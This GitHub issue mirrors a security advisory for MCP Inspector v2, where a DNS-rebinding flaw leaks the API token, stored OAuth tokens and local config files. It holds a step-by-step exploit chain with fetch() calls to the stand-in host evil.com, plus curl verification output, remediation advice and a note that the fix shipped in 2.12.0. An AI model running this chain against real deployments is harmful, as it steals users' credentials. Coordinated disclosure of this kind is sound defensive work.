Skip to content

[GHSA-vcc9-3xgm-p9v4] - [v2] - Incomplete fix for CVE-2025-49596: DNS-rebinding info disclosure (API token + stored OAuth tokens) in MCP Inspector #2779

Closed

Description

@cliffhall

Advisory: GHSA-vcc9-3xgm-p9v4

Affected versions: `` 2.2.0

Reporter: @0xParth

Severity: not set | Reported: 2026-08-19

Priority score (2026-10-20, post-verification): Severity 5, Urgency 4, +1 security, Total 10 → High. Affected: v2 only, 2.0.0–2.11.0. Accepted 2026-10-20.


Summary

The CVE-2025-49596 fix added an auth token and an Origin check to the Inspector proxy. The
Origin check is documented in-code as DNS-rebinding protection
(server.ts:579: "This prevents DNS rebinding attacks by validating Origin header"), but it
does not hold, and combined with two other gaps it allows a malicious website to steal the
Inspector's API token and then read the proxy's stored secrets via a DNS-rebinding attack:

  1. The Origin middleware trusts requests with no Origin header. Browsers omit Origin
    on same-origin GET requests, so after a rebind these pass. (server.ts:245-261:
    "If no origin header (same-origin or non-browser client), allow request" -> next().)
  2. There is no Host header validation anywhere (the standard second half of DNS-rebinding
    defense). Grep for host-header validation across core/ and clients/web/server/ is empty.
  3. GET / (and the SPA fallback GET *) serve the API token unauthenticated. These routes
    live on the outer web app, outside the /api/* auth+origin middleware, and inject
    window.__INSPECTOR_API_TOKEN__ = "<token>" into the returned HTML
    (clients/web/server/server.ts:66-111, injectAuthToken).

Exploit chain (verified at code level)

Default deployment: proxy on loopback, port 6274, allowedOrigins = loopback forms only
(web-server-config.ts:275-295).

  1. Victim visits http://evil.com:6274/ (attacker controls evil.com, serves on 6274).
  2. Attacker rebinds evil.com -> 127.0.0.1. Attacker JS runs:
    • fetch('http://evil.com:6274/') — same-origin GET, no Origin header -> hits the
      Inspector outer app GET / -> returns HTML containing the API token. JS reads it
      (same-origin, readable). Token stolen.
    • fetch('http://evil.com:6274/api/storage/oauth', {headers:{'x-mcp-remote-auth':'Bearer '+token}})
      — same-origin GET, no Origin -> Origin middleware allows (no origin) -> auth middleware
      validates the stolen token -> 200, returns stored OAuth access/refresh tokens
      (store id oauth, core/auth/remote/storage-remote.ts).
    • fetch('http://evil.com:6274/api/import-source?type=…') -> reads local client-config files
      off disk (server.ts:2010-2024, readFileSync). GET /api/servers, GET /api/storage/client
      (secrets merged back in) similarly readable.
  3. RCE stays blocked: the process-spawn endpoint is a POST (/api/mcp/connect); browsers
    send Origin: http://evil.com:6274 on same-origin POSTs, which is not in allowedOrigins
    -> 403 even with the stolen token. So impact is information disclosure, not code execution.

Impact

Theft of the Inspector API token, the OAuth access/refresh tokens the user configured for
connected MCP servers/services (real downstream credentials), server configs, and arbitrary
local client-config file contents, from any web page the victim visits, on a default localhost
deployment, subject to the browser lacking DNS-rebinding / Private Network Access mitigations
(the exact assumption the server-side Origin/Host checks exist to remove).

Verification (live, against the published package)

Ran the real published Inspector locally (npx @modelcontextprotocol/inspector, auth enabled,
default config) and confirmed every server-side precondition with curl. curl sends no Origin
header, which is exactly what a DNS-rebound same-origin GET sends:

T1  GET /                    (no auth, no Origin)   -> HTML contains __INSPECTOR_API_TOKEN__ = "473d4e8d…"
T2  GET /api/config          (token, no Origin)     -> HTTP 200   # no-Origin bypasses the origin guard
T3  GET /api/config          (token, Origin: evil)  -> HTTP 403   # guard works for foreign origins
T4  GET /api/config          (no token, no Origin)  -> HTTP 401   # auth IS enforced -> the token matters
T5  GET /api/storage/oauth   (token, no Origin)     -> HTTP 200   # secret store reachable ({} on a fresh instance)

Interpretation: auth is genuinely enforced (T4=401), but GET / discloses the token with no
auth and no origin check (T1), and no-Origin requests bypass the origin guard that otherwise
blocks foreign origins (T2=200 vs T3=403), so a rebound same-origin GET carrying the stolen
token reads any /api route including the secret store (T5). The one step not staged locally is
the DNS-rebinding delivery itself (making a browser issue these as same-origin to
evil.com -> 127.0.0.1), which is a standard, well-documented browser technique; every
server-side link it relies on is verified above. Source refs also confirmed on 2.2.0:
no-Origin allow (core/mcp/remote/node/server.ts:245-261), no Host validation (grep),
token injection on GET //GET * (clients/web/server/server.ts:66-111).

Suggested remediation

  • Validate the Host header against the bound host/port on all routes (including the
    outer GET / and static/SPA routes), rejecting requests whose Host is not an allowed
    loopback host:port. This is the piece that actually stops rebinding.
  • Do not treat a missing Origin as trusted for state-reading or secret-returning routes;
    require the auth token (and/or a validated Host) even when Origin is absent.
  • Require the auth token (or a Host check) on GET / so the token is not disclosed to a
    rebound same-origin request. Consider delivering the token via a mechanism not readable by a
    cross-host attacker (e.g. only when Host is validated).

Credit

Please credit 0xParth. Happy to review a patch and to coordinate a live PoC. Standard
coordinated-disclosure timeline (90 days or until a fixed release, whichever is sooner).

Activity

  1. added
    v2Issues and PRs for v2
    bugSomething isn't working
    on Oct 22, 2026
  2. added this to the v2.12.0 milestone on Oct 22, 2026
  3. changed the title [-][GHSA-vcc9-3xgm-p9v4] - Incomplete fix for CVE-2025-49596: DNS-rebinding info disclosure (API token + stored OAuth tokens) in MCP Inspector[/-] [+][GHSA-vcc9-3xgm-p9v4] - [v2] - Incomplete fix for CVE-2025-49596: DNS-rebinding info disclosure (API token + stored OAuth tokens) in MCP Inspector[/+] on Oct 22, 2026
  4. cliffhall commented on Oct 22, 2026

    @cliffhall
    MemberAuthor

    Shipped in 2.12.0, published to npm under latest. Advisory: GHSA-vcc9-3xgm-p9v4.

    Landed on v2/main in merge commit 8d74f7a9, and reached main through the milestone merge #2769 (0cac110a). The fix commits:

    • 12399832 fix(web): validate the Host header on the production web server
    • 4c31c6b7 fix(web): restrict Host names to hostname characters, punycode allowed-host entries
    • 28eda4cb docs(web): state the IP forms the Host allow-list accepts
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    bugSomething isn't workingv2Issues and PRs for v2

    Type

    No type

    Projects

    No projects

      Milestone

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions